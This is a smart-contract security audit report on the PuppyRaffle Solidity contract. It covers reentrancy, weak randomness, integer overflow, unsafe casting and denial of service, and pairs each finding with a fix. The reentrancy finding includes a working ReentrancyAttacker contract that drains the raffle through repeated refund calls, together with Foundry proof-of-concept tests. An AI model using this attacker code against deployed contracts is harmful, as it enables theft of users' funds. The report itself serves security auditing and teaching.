PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

January 6, 2025

Protocol Audit Report

pindarev

January 5, 2025

Prepared by: pindarev

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
  - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence pr predict the winner
  - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants.

- [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
- [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recommended.
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` should follow CEI pattern
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable.
  - [G-2]: Loop condition contains `state_variable.length` that could be cached outside.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The pindarev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Scope

Roles

Executive Summary

I loved auditing this codebase. Patrick is such a wizard.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as result, enables participants to drain the contract balance.

In the `PuppyRaffle:refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle:players`

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7
8  @>          players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle:refund` function again and claim another refund. They could continue this cycle until whole balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept:

1. User enters raffle
2. Attacker sets up a contact with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    // Reentrancy Attack
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingVictimContractBalance = address(puppyRaffle).
            balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attack contract balance: ",
            startingAttackContractBalance);
        console.log("Starting victim contract balance: ",
            startingVictimContractBalance);

        console.log("Ending attack contract balance: ", address(
            attackerContract).balance);
        console.log("Ending victim contract balance: ", address(
            puppyRaffle).balance);

        // assert that attacker balance is steals all of the balance of
             the victim
```

```
28          assertEq(address(attackerContract).balance,
                startingVictimContractBalance + entranceFee);
29          assert(address(puppyRaffle).balance < entranceFee);
30      }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14
15         // First enter or deposit, to be in the Victim Contract
16         puppyRaffle.enterRaffle{value: entranceFee}(players);
17
18         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
19
20         // Then call refund or withdraw function
21         puppyRaffle.refund(attackerIndex);
22         // This will call something like this `recipient.call{ value:
               amount }("")`
23         // and via malicios fallback or receive function we can repeat
               the same function until we drain the Victim Contract
24     }
25
26     function _stealMoney() internal {
27         if (address(puppyRaffle).balance >= entranceFee) {
28             puppyRaffle.refund(attackerIndex);
29         }
30     }
31
32     fallback() external payable {
33         _stealMoney();
34     }
35
36     receive() external payable {
37         _stealMoney();
38     }
39 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function

update the `players` array before making the external call. Additionally, we should move the event emission up as well. CEI

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence pr predict the winner

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or known them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selection the `rarest` puppy.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use them to predict when/how to participate.
2. Users can mine/manipulate their `msg.sender` value.
3. Users can revert their `selectWinner` transaction if they don't like the winner ort resulting puppy.

Recommended Mitigation: Consider using a cryptographycally provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

Impact: In `PuppyRaffle:selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle:withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of a 4 players 2. We then have 89 players enters a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// and this will overflow
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Althought you could use `selfdestuct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees", startingTotalFees);

        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

```

```
22          // And here is where the issue occurs
23          // We will now have fewer fees even though we just finished a
                second raffle
24          puppyRaffle.selectWinner();
25
26          uint256 endingTotalFees = puppyRaffle.totalFees();
27          console.log("ending total fees", endingTotalFees);
28          assert(endingTotalFees < startingTotalFees);
29
30          // We are also unable to withdraw any fees because of the
                require check
31          vm.prank(puppyRaffle.feeAddress());
32          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
33          puppyRaffle.withdrawFees();
34      }
```

Recommended Mitigation: There are a few posssible mitigations.

1. Use a newer version of solidity, and `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` typ if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This mean the gas costs for players who enter right when the raffle stars will be dramatically lower than those who enter later. Every additional address in th `players` array, is an additional check the loop will have to make.

```
1       // @audit DoS Attack
2           for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
```

```
5                 }
6             }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

For every transaction of entering the raffle, gas costs arise: - Second User gas usage: ~37243 gas - Third User gas usage: ~39111 gas - Fourth User gas usage: ~41768 gas

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1  // Proof of code for -> DoS - every next transaction is spending more
       and more gas, without boundaries
2      function testDenialOfServiceEnterRaffle() public {
3          uint256 startGas1 = gasleft();
4          vm.prank(playerOne);
5          vm.deal(playerOne, entranceFee);
6          address[] memory players1 = new address[](1);
7          players1[0] = playerOne;
8          puppyRaffle.enterRaffle{value: entranceFee}(players1);
9          uint256 gasUsed1 = startGas1 - gasleft();
10         console.log("First User gas usage: ", gasUsed1);
11
12         uint256 startGas2 = gasleft();
13         vm.prank(playerTwo);
14         vm.deal(playerTwo, entranceFee);
15         address[] memory players2 = new address[](1);
16         players2[0] = playerTwo;
17         puppyRaffle.enterRaffle{value: entranceFee}(players2);
18         uint256 gasUsed2 = startGas2 - gasleft();
19         console.log("Second User gas usage: ", gasUsed2);
20
21         uint256 startGas3 = gasleft();
22         vm.prank(playerThree);
23         vm.deal(playerThree, entranceFee);
24         address[] memory players3 = new address[](1);
25         players3[0] = playerThree;
26         puppyRaffle.enterRaffle{value: entranceFee}(players3);
27         uint256 gasUsed3 = startGas3 - gasleft();
28         console.log("Third User gas usage: ", gasUsed3);
29
30         uint256 startGas4 = gasleft();
31         vm.prank(playerFour);
```

```
32          vm.deal(playerFour, entranceFee);
33          address[] memory players4 = new address[](1);
34          players4[0] = playerFour;
35          puppyRaffle.enterRaffle{value: entranceFee}(players4);
36          uint256 gasUsed4 = startGas4 - gasleft();
37          console.log("Fourth User gas usage: ", gasUsed4);
38
39          assert(gasUsed4 > gasUsed3 && gasUsed3 > gasUsed2);
40      }
```

Recommended Mitigation: There are couple of ways of improving this functionality. 1. Consider allowing duplicates. Users can make a new wallet adderesses anyways, so a duplicate check doesn't prevent the same person form entering multiple times, only the same wallet address. 2. Find better way for tracking for duplicates. Consider using mapping collection for tracking address has entered and which has not. mappings cannot contains duplicates which solves the problem with checking duplicates and causing DoS. Something like this can fix the problem `mapping(address => bool )public hasEntered`.

Example:

```
1  +   mapping(address => bool) public hasEntered
2  ....
3
4   function enterRaffle(address[] memory newPlayers) public payable {
5          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
6
7          for (uint256 i = 0; i < newPlayers.length; i++) {
8  -            players.push(newPlayers[i]);
9  +            address player = newPlayers[i];
10
11 +            require(!hasEntered[player], "PuppyRaffle: Duplicate
       player");
12 +            hasEntered[player] = true;
13 +            players.push(player);
14         }
15
16 -        for (uint256 i = 0; i < players.length - 1; i++) {
17 -            for (uint256 j = i + 1; j < players.length; j++) {
18 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
19 -            }
20 -        }
21
22         emit RaffleEnter(newPlayers);
23     }
```

Alternatively, you could use [OpenZeppelin's `EnurableSet` library]

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle:players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 203

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI pattern

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see numbers literals in codebase, and it's much more readable if the numbers are give a name.

Example:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2]: Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops.

4 Found Instances

Everytime you call `players.lenght` you read from storage, as opposed to memory which is more gas efficient.

- Found in src/PuppyRaffle.sol Line: 95

```
+            uint256 playersLength = players.length;
-            for (uint256 i = 0; i < players.length - 1; i++) {
+            for (uint256 i = 0; i < playersLength - 1; i++) {
-                for (uint256 j = i + 1; j < players.length; j++) {
+                for (uint256 j = i + 1; j < playersLength; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
            }
```